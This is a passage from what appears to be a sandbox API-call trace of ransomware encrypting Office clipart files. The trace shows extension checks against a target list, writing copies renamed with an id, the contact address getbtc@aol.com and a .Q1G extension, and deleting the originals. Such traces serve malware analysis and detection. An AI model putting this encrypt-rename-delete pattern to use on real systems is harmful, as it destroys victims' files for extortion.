office\\clipart\\pub60cor\\j0153047.wmf")) returned 1 [0263.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0263.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0263.356] lstrlenW (lpString=".doc") returned 4 [0263.357] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.357] lstrlenW (lpString=".docx") returned 5 [0263.357] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0263.357] lstrlenW (lpString=".pdf") returned 4 [0263.357] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.357] lstrlenW (lpString=".xls") returned 4 [0263.357] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.357] lstrlenW (lpString=".xlsx") returned 5 [0263.357] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0263.357] lstrlenW (lpString=".ppt") returned 4 [0263.357] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0263.357] lstrlenW (lpString=".zip") returned 4 [0263.357] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.357] lstrlenW (lpString=".rar") returned 4 [0263.357] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.357] lstrlenW (lpString=".bz2") returned 4 [0263.357] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.357] lstrlenW (lpString=".7z") returned 3 [0263.357] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0263.357] lstrlenW (lpString=".dbf") returned 4 [0263.357] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0263.357] lstrlenW (lpString=".1cd") returned 4 [0263.357] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0263.357] lstrlenW (lpString=".jpg") returned 4 [0263.357] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0263.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0263.357] lstrlenW (lpString=".doc") returned 4 [0263.357] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.357] lstrlenW (lpString=".docx") returned 5 [0263.357] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0263.357] lstrlenW (lpString=".pdf") returned 4 [0263.358] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.358] lstrlenW (lpString=".xls") returned 4 [0263.358] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.358] lstrlenW (lpString=".xlsx") returned 5 [0263.358] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0263.358] lstrlenW (lpString=".ppt") returned 4 [0263.358] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0263.358] lstrlenW (lpString=".zip") returned 4 [0263.358] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.358] lstrlenW (lpString=".rar") returned 4 [0263.358] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.358] lstrlenW (lpString=".bz2") returned 4 [0263.358] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.358] lstrlenW (lpString=".7z") returned 3 [0263.358] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0263.358] lstrlenW (lpString=".dbf") returned 4 [0263.358] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0263.358] lstrlenW (lpString=".1cd") returned 4 [0263.358] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0263.358] lstrlenW (lpString=".jpg") returned 4 [0263.358] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.358] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.358] lstrlenW (lpString="J0153265.WMF") returned 12 [0263.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0263.359] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=3008) returned 1 [0263.359] CloseHandle (hObject=0x3a0) returned 1 [0263.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf")) returned 0x20 [0263.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0263.359] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.359] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0263.360] GetLastError () returned 0x0 [0263.360] ReadFile (in: hFile=0x3a0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0xbc0, lpOverlapped=0x0) returned 1 [0263.406] WriteFile (in: hFile=0x37c, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0263.407] ReadFile (in: hFile=0x3a0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.407] WriteFile (in: hFile=0x37c, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.407] SetEndOfFile (hFile=0x37c) returned 1 [0263.407] CloseHandle (hObject=0x37c) returned 1 [0263.408] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.408] SetEndOfFile (hFile=0x3a0) returned 1 [0263.409] CloseHandle (hObject=0x3a0) returned 1 [0263.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.410] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf")) returned 1 [0263.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0263.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0263.411] lstrlenW (lpString=".doc") returned 4 [0263.411] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.411] lstrlenW (lpString=".docx") returned 5 [0263.411] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0263.411] lstrlenW (lpString=".pdf") returned 4 [0263.411] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.411] lstrlenW (lpString=".xls") returned 4 [0263.411] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.411] lstrlenW (lpString=".xlsx") returned 5 [0263.411] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0263.411] lstrlenW (lpString=".ppt") returned 4 [0263.411] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0263.411] lstrlenW (lpString=".zip") returned 4 [0263.411] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.411] lstrlenW (lpString=".rar") returned 4 [0263.411] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.411] lstrlenW (lpString=".bz2") returned 4 [0263.411] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.411] lstrlenW (lpString=".7z") returned 3 [0263.411] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0263.411] lstrlenW (lpString=".dbf") returned 4 [0263.411] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0263.411] lstrlenW (lpString=".1cd") returned 4 [0263.411] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0263.411] lstrlenW (lpString=".jpg") returned 4 [0263.411] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0263.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0263.411] lstrlenW (lpString=".doc") returned 4 [0263.412] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.412] lstrlenW (lpString=".docx") returned 5 [0263.412] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0263.412] lstrlenW (lpString=".pdf") returned 4 [0263.412] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.412] lstrlenW (lpString=".xls") returned 4 [0263.412] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.412] lstrlenW (lpString=".xlsx") returned 5 [0263.412] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0263.412] lstrlenW (lpString=".ppt") returned 4 [0263.412] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0263.412] lstrlenW (lpString=".zip") returned 4 [0263.412] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.412] lstrlenW (lpString=".rar") returned 4 [0263.412] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.412] lstrlenW (lpString=".bz2") returned 4 [0263.412] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.412] lstrlenW (lpString=".7z") returned 3 [0263.412] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0263.412] lstrlenW (lpString=".dbf") returned 4 [0263.412] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0263.412] lstrlenW (lpString=".1cd") returned 4 [0263.412] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0263.412] lstrlenW (lpString=".jpg") returned 4 [0263.412] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.412] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.412] lstrlenW (lpString="J0153302.WMF") returned 12 [0263.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.433] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=30800) returned 1 [0263.433] CloseHandle (hObject=0x388) returned 1 [0263.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf")) returned 0x20 [0263.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0263.515] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.515] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0263.532] GetLastError () returned 0x0 [0263.532] ReadFile (in: hFile=0x39c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x7850, lpOverlapped=0x0) returned 1 [0263.540] WriteFile (in: hFile=0x3d8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x7860, lpOverlapped=0x0) returned 1 [0263.541] ReadFile (in: hFile=0x39c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.541] WriteFile (in: hFile=0x3d8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.541] SetEndOfFile (hFile=0x3d8) returned 1 [0263.542] CloseHandle (hObject=0x3d8) returned 1 [0263.542] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.542] SetEndOfFile (hFile=0x39c) returned 1 [0263.546] CloseHandle (hObject=0x39c) returned 1 [0263.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.546] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf")) returned 1 [0263.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0263.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0263.547] lstrlenW (lpString=".doc") returned 4 [0263.547] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.547] lstrlenW (lpString=".docx") returned 5 [0263.547] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0263.547] lstrlenW (lpString=".pdf") returned 4 [0263.547] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.547] lstrlenW (lpString=".xls") returned 4 [0263.547] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.547] lstrlenW (lpString=".xlsx") returned 5 [0263.547] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0263.547] lstrlenW (lpString=".ppt") returned 4 [0263.547] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0263.547] lstrlenW (lpString=".zip") returned 4 [0263.547] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.547] lstrlenW (lpString=".rar") returned 4 [0263.547] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.547] lstrlenW (lpString=".bz2") returned 4 [0263.547] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.547] lstrlenW (lpString=".7z") returned 3 [0263.547] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0263.547] lstrlenW (lpString=".dbf") returned 4 [0263.548] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0263.548] lstrlenW (lpString=".1cd") returned 4 [0263.548] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0263.548] lstrlenW (lpString=".jpg") returned 4 [0263.548] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0263.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0263.548] lstrlenW (lpString=".doc") returned 4 [0263.548] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.548] lstrlenW (lpString=".docx") returned 5 [0263.548] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0263.548] lstrlenW (lpString=".pdf") returned 4 [0263.548] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.548] lstrlenW (lpString=".xls") returned 4 [0263.548] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.548] lstrlenW (lpString=".xlsx") returned 5 [0263.548] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0263.548] lstrlenW (lpString=".ppt") returned 4 [0263.548] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0263.548] lstrlenW (lpString=".zip") returned 4 [0263.548] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.548] lstrlenW (lpString=".rar") returned 4 [0263.548] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.548] lstrlenW (lpString=".bz2") returned 4 [0263.548] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.548] lstrlenW (lpString=".7z") returned 3 [0263.548] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0263.548] lstrlenW (lpString=".dbf") returned 4 [0263.548] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0263.548] lstrlenW (lpString=".1cd") returned 4 [0263.548] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0263.549] lstrlenW (lpString=".jpg") returned 4 [0263.549] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.549] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.549] lstrlenW (lpString="J0153514.WMF") returned 12 [0263.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0263.549] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=12752) returned 1 [0263.549] CloseHandle (hObject=0x39c) returned 1 [0263.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf")) returned 0x20 [0263.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0263.550] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.550] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0263.551] GetLastError () returned 0x0 [0263.551] ReadFile (in: hFile=0x39c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x31d0, lpOverlapped=0x0) returned 1 [0263.575] WriteFile (in: hFile=0x3d8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x31e0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x31e0, lpOverlapped=0x0) returned 1 [0263.576] ReadFile (in: hFile=0x39c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.576] WriteFile (in: hFile=0x3d8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.576] SetEndOfFile (hFile=0x3d8) returned 1 [0263.576] CloseHandle (hObject=0x3d8) returned 1 [0263.576] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.576] SetEndOfFile (hFile=0x39c) returned 1 [0263.579] CloseHandle (hObject=0x39c) returned 1 [0263.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.579] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf")) returned 1 [0263.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0263.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0263.580] lstrlenW (lpString=".doc") returned 4 [0263.580] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.580] lstrlenW (lpString=".docx") returned 5 [0263.580] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0263.580] lstrlenW (lpString=".pdf") returned 4 [0263.580] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.580] lstrlenW (lpString=".xls") returned 4 [0263.580] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.580] lstrlenW (lpString=".xlsx") returned 5 [0263.580] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 